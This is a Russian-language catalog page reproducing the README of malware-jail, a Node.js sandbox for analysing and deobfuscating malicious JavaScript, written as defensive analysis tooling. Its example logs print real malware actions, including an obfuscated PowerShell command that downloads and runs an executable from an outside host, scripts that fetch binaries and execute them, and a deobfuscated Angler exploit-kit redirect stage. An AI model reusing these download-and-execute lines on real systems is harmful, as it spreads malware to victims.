Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
malware-jail — Песочница для полуавтоматического анализа вредоносного JavaScript, деобфускации и извлечения полезной нагрузки. Написана для Node.js | Kitploit
Инструменты/GitHubGitHub/hynekpetrak/malware-jail
Динамический анализ (песочница)Анализ вредоносных программ
GitHubhynekpetrak/malware-jail

malware-jail

Песочница для полуавтоматического анализа вредоносного JavaScript, деобфускации и извлечения полезной нагрузки. Написана для Node.js

Репозиторий
478983 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

malware-jail

Песочница для полуавтоматического анализа JavaScript-вредоносов, деобфускации и извлечения полезной нагрузки. Написана для Node.js.

malware-jail написана для песочницы 'vm' от Node. В настоящее время реализует контекст WScript (Windows Scripting Host) env/wscript.js, по крайней мере ту часть, которая часто используется вредоносным ПО. Контекст интернет-браузера частично реализован env/browser.js.

Работает на любой операционной системе. Разрабатывался и тестировался на Linux, Node.js v6.6.0.

Из-за использования некоторых возможностей ES6 требуется Node.js >= 6.x.

См. EXAMPLES для примеров проанализированных образцов вредоносного ПО.

Если у вас есть новые образцы вредоносного ПО, пожалуйста, отправляйте их в javascript-malware-collection через issue или pull request.

Новые возможности

Версия 0.19

Перечисляет WMI-запросы в файл: wmis.json

Версия 0.17

Добавлен новый параметр:

root@kitploit:~
--t404 - http-запросы всегда возвращают HTTP/404 и вызывают исключение. Это позволяет перечислить все удалённые URL.

Версия 0.16

URL теперь сохраняются в urls.json. См. последний EXAMPLES#malware-of-issue-14.

Различные исправления ошибок и улучшения.

Версия 0.14

Различные исправления ошибок и улучшения.

Версия 0.13

Добавлены новые параметры:

root@kitploit:~
-t мсек - ограничивает время выполнения "мсек" миллисекундами, по умолчанию 60 секунд.
--h404 - http-запросы всегда возвращают HTTP/404 и не вызывают исключение. Это позволяет перечислить все удалённые URL.

Установка

Вам понадобится Node.js и npm.

malware-jail построен на основе minimist, iconv-lite и entities.

Клонирование с GitHub

Склонируйте исходный код с помощью git:

root@kitploit:~
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Затем установите все зависимости (minimist, entities, iconv-lite) с помощью:

root@kitploit:~
npm install

Пакет NPM

Пока недоступен, скоро появится...

Предупреждение

Будьте осторожны при работе с реальным вредоносным ПО. Вредоносное ПО, осведомлённое об этой песочнице, может попытаться вырваться из неё и навредить вашему ПК. Рекомендуется запускать его либо из непривилегированной учётной записи Linux, либо внутри виртуальной машины Windows. Файлы Angler в папке malware НЕ обезврежены.

Использование

root@kitploit:~
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, песочница для вредоносного ПО вер. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Использование: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. использовать альтернативный конфигурационный файл, с префиксом ./
7 May 20:54:52 -        -e ifile ... js, эмулирующий определённое окружение
7 May 20:54:52 -        -o ofile ... имя файла, в который будет выгружена песочница в конце
7 May 20:54:52 -        -s odir  ... выходная директория для сгенерированных файлов (полезная нагрузка вредоносного ПО)
7 May 20:54:52 -        -b id    ... тип браузера, используйте -b list для возможных значений
7 May 20:54:52 -        -t мсек ... количество миллисекунд до принудительного завершения, по умолчанию 1 минута
7 May 20:54:52 -        --trace  ... печатать стек вызовов с каждой строкой лога
7 May 20:54:52 -        --down   ... разрешить загрузку полезной нагрузки с удалённых серверов
7 May 20:54:52 -        --h404   ... при загрузке всегда возвращать HTTP/404
7 May 20:54:52 -        malware  ... js-файл с кодом вредоносного ПО
7 May 20:54:52 - Если аргументы не указаны, используются значения по умолчанию из config.json
7 May 20:54:52 - Возможные значения -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

В папке examples вы найдёте деактивированный файл вредоносного ПО. Запустите анализ с помощью:

root@kitploit:~
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Вредоносное ПО на основе интернет-браузера можете протестировать с помощью

root@kitploit:~
node jailme.js -b IE11_W10 malware/example_browser.js

В конце анализа полный контекст песочницы выгружается в файл 'sandbox_dump_after.json'.

Возможно, вам захочется изучить следующие записи в 'sandbox_dump_after.json':

  • eval_calls - массив всех аргументов вызовов eval(). Полезно, если eval() используется для деобфускации.
  • wscript_saved_files - содержимое всех файлов, которые вредоносное ПО пыталось сбросить. Фактические файлы также сохраняются в директорию output/.
  • wscript_urls - все URL, к которым вредоносное ПО пыталось выполнить GET или POST.
  • wscript_objects - созданные объекты WScript или ActiveX.

'sandbox_dump_after.json' использует JSONPath, реализованный JSON-js/cycle.js, для сохранения дублированных или циклических ссылок на один и тот же объект.

Пример вывода

root@kitploit:~
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Песочница для вредоносного ПО вер. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Последовательность окружения песочницы: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Файлы вредоносного ПО: malware/example.js
11 Jan 00:06:24 - Выходной файл для выгрузки песочницы: sandbox_dump_after.json
11 Jan 00:06:24 - Выходная директория для сгенерированных файлов: output/
11 Jan 00:06:24 - ==> Подготовка окружения песочницы.
11 Jan 00:06:24 -  => Выполнение: env/eval.js
11 Jan 00:06:24 - Подготовка песочницы для перехвата вызовов eval().
11 Jan 00:06:24 -  => Выполнение: env/wscript.js
11 Jan 00:06:24 - Подготовка песочницы для эмуляции окружения WScript.
11 Jan 00:06:24 - ==> Выполнение файла(ов) вредоносного ПО.
11 Jan 00:06:24 -  => Выполнение: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Создан: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Создан: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Не отправляем данные. Если хотите взаимодействовать с удалённым сервером, установите --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Вызов onreadystatechange() с фиктивными данными
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Создан: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 байт
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Выполнение скрипта завершено, выгрузка окружения песочницы в файл.
11 Jan 00:08:42 - Сохранение: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Сохранение: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Сгенерированный файл сохранён
11 Jan 00:08:42 - Сгенерированный файл сохранён
11 Jan 00:08:42 - Контекст песочницы сохранён в: sandbox_dump_after.json

В приведённом выше примере полезная нагрузка была извлечена в output/_TEMP__49629482.dll и output/_TEMP__38611354.pdf

Примеры

Папка malware содержит реальные образцы вредоносного ПО. Большинство из них загружены с https://malwr.com.

Пожалуйста, смотрите EXAMPLES для полного списка образцов вредоносного ПО.

Пример: Анализ Wileen.js

Вредоносный скрипт с malwr.com: Wileen.js

По-видимому, вредоносное ПО не выполняется при запуске из браузера:

root@kitploit:~
if (typeof document == "undefined") {

Поэтому можно использовать альтернативный конфигурационный файл, который не загружает компоненты браузера/DOM:

root@kitploit:~
node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 

Интересное использование Powershell:

root@kitploit:~
1 Oct 13:05:34 -  => Выполнение: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Создан: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Очистка песочницы.
1 Oct 13:05:34 - ==> Выполнение скрипта завершено, выгрузка окружения песочницы в файл.
1 Oct 13:05:34 - Контекст песочницы сохранён в: sandbox_dump_after.json

Файл лога: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out

Пример: Анализ ORDER-10455.js

Вредоносный JavaScript с malwr.com: ORDER-10455.js

Сначала запуск без взаимодействия с удалёнными серверами:

root@kitploit:~
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

вы получите что-то вроде:

root@kitploit:~
... 
29 Sep 23:17:21 - Вызов eval() №: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Создан: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Не отправляем данные. Если хотите взаимодействовать с удалённым сервером, установите --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (сокращено)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) завершено
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (сокращено)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] создан.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Создан: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (сокращено)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 байт
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (сокращено)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Создан: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Возвращено: 'undefined'
29 Sep 23:17:21 - ==> Очистка песочницы.
29 Sep 23:17:21 - ==> Выполнение скрипта завершено, выгрузка окружения песочницы в файл.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (сокращено)
29 Sep 23:17:21 - Сохранение: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - Сгенерированный файл сохранён
29 Sep 23:17:21 - Контекст песочницы сохранён в: sandbox_dump_after.json

Похоже на "стандартное" поведение деобфускации с целью последующей загрузки exe-бинарника и его выполнения.

Если мы хотим получить реальную полезную нагрузку, запустим с '--down=y':

root@kitploit:~
 node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out 
 

Файл лога: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

Пример: Анализ Norri.js

Вредоносный JavaScript с malwr.com: Norri.js

Запуск:

root@kitploit:~
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js

вы получаете:

root@kitploit:~
30 Sep 01:02:11 -  => Выполнение: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Строгий режим: false
30 Sep 01:02:11 - Вызов eval() №: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Создан: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Создан: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] создан.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Создан: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Создан: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Создан: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 длина: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (сокращено)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) завершено
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (сокращено)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (сокращено)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 байт
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (сокращено)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Очистка песочницы.
30 Sep 01:02:15 - ==> Выполнение скрипта завершено, выгрузка окружения песочницы в файл.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (сокращено)
30 Sep 01:02:16 - Сохранение: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Сгенерированный файл сохранён
30 Sep 01:02:16 - Контекст песочницы сохранён в: sandbox_dump_after.json

Поведение очевидно из лога. Полезная нагрузка извлечена в файл output/TemporaryFolder_TempFile[15].

Файл лога: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out

Пример: Анализ Angler EK

Загрузите и извлеките Angler EK из pcap-файла на ANGLER EK SENDS CRYPTOWALL в malware/angler/angler_full.html.

Отделите часть, не относящуюся к Angler, и сохраните как malware/angler/angler_stripped.html.

Удалите теги <script> и преобразуйте необходимые теги <div> в:

root@kitploit:~
document._addElementById(id, content);

и сохраните как malware/angler/angler.js.

Запустите анализ:

root@kitploit:~
node jailme.js malware/angler/angler.js

При необходимости перенаправьте вывод в angler_output.txt:

root@kitploit:~
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt

Деобфускация финальной стадии:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }

Лицензия

Лицензия MIT (MIT)

Copyright (c) 2016 Hynek Petrak

Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию данного программного обеспечения и сопутствующей документации (далее — "Программное обеспечение"), без ограничений, включая без ограничения права на использование, копирование, изменение, слияние, публикацию, распространение, сублицензирование и/или продажу копий Программного обеспечения, а также разрешение лицам, которым предоставляется Программное обеспечение, делать это при соблюдении следующих условий:

Указанное выше уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или существенные части Программного обеспечения.

ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ ПО ОПРЕДЕЛЕННОМУ НАЗНАЧЕНИЮ И НЕНАРУШЕНИЯ ПРАВ. НИ В КОЕМ СЛУЧАЕ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО КАКИМ-ЛИБО ИСКАМ, УБЫТКАМ ИЛИ ДРУГИМ ОБЯЗАТЕЛЬСТВАМ, БУДЬ ТО В ДЕЙСТВИЯХ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНОГО, ВОЗНИКШИМ ИЗ, ВНЕ СВЯЗИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ИСПОЛЬЗОВАНИЕМ ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ.

Скачать инструмент